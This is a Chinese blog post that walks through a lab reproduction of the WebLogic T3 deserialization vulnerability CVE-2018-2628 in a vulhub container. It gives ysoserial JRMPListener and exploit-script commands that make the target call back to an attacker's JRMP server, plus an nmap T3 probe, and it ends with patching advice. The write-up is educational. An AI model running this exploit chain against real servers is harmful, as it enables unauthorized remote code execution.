当前位置:   article > 正文

weblogic反序列化漏洞的初级理解(二)_weblogic-t3-info

weblogic-t3-info

前言

接着上篇,这次复现经典的weblogic反序列化漏洞—CVE-2018-2628
属于利用T3协议配合RMP接口反向发送反序列化数据。
同样先利用vulhub快速复现,然后再来看看原理。

漏洞复现

CVE-2018-2628

影响范围:10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

docker开启环境

root@kali:/vulhub/weblogic/CVE-2018-2628# docker-compose up -d
  • 1

浏览器访问localhost:7001/console,出现weblogic的登录界面,说明环境已经搭好了 (╹ڡ╹ )vulhub yyds!
在这里插入图片描述
可以看到weblogic的版本是10.3.6.0
在这里插入图片描述
利用ysoserial启动一个JRMP Server服务监听
这里插一句编译ysoserial注意JDK版本不要过高,建议在1.7u21以下,卡了好久┗|`O′|┛

开启监听,命令执行这里老办法,尝试新建一个shell文件,比较直观

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 端口 CommonsCollections1 "touch /tmp/shell"
  • 1

使用vulhub提供的exp脚本,为了方便,保存在ysoserial-0.0.6-SNAPSHOT-all.jar同目录下
在这里插入图片描述
执行exp

python CVE-2018-2628exp.py [开启weblogic的IP] [端口] ysoserial-0.0.6-SNAPSHOT-all.jar [开启JRMP Server的IP] [监听端口] JRMPClient
  • 1

exp开始跑,监听成功
在这里插入图片描述
在这里插入图片描述

exp跑完,进入docker容器查看文件是否创建成功

root@kali:/vulhub/weblogic/CVE-2018-2628# docker-compose exec weblogic bash
  • 1

复现完成
在这里插入图片描述

漏洞原理

看一下官方的漏洞简介

Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。WLS Core是其中的一个核心组件。 Oracle WebLogic Server中的WLS核心组件存在远程代码执行漏洞。攻击者可通过远程发送攻击数据,借助T3协议在WebLogic Server中执行反序列化操作利用该漏洞执行代码。

首先需要搞懂啥是T3协议

T3协议:WebLogic Server 中的 RMI(远程方法调用)通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。
JRMP Server服务:java远程消息交换协议

利用nmap快速检测T3协议是否开放

nmap -sV IP --script=weblogic-t3-info.nse -p 7001
  • 1

大致流程
在这里插入图片描述

结合exp来看
主函数很短,接收JRMP参数,执行exploit函数
在这里插入图片描述
exploit中,看名字t3_handshake和build_t3_request_object应该是建立T3连接,generate_payload应该是序列化数据,send_payload_objdata自然就是发送数据包了
在这里插入图片描述
发送T3协议头数据包
在这里插入图片描述
构造序列化数据包并发送
在这里插入图片描述

修复建议

打补丁
对T3协议进行访问控制

参考

https://www.cnblogs.com/afanti/p/10256840.html
https://blog.csdn.net/u014715599/article/details/85256193

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家自动化/article/detail/450728
推荐阅读
相关标签
  

闽ICP备14008679号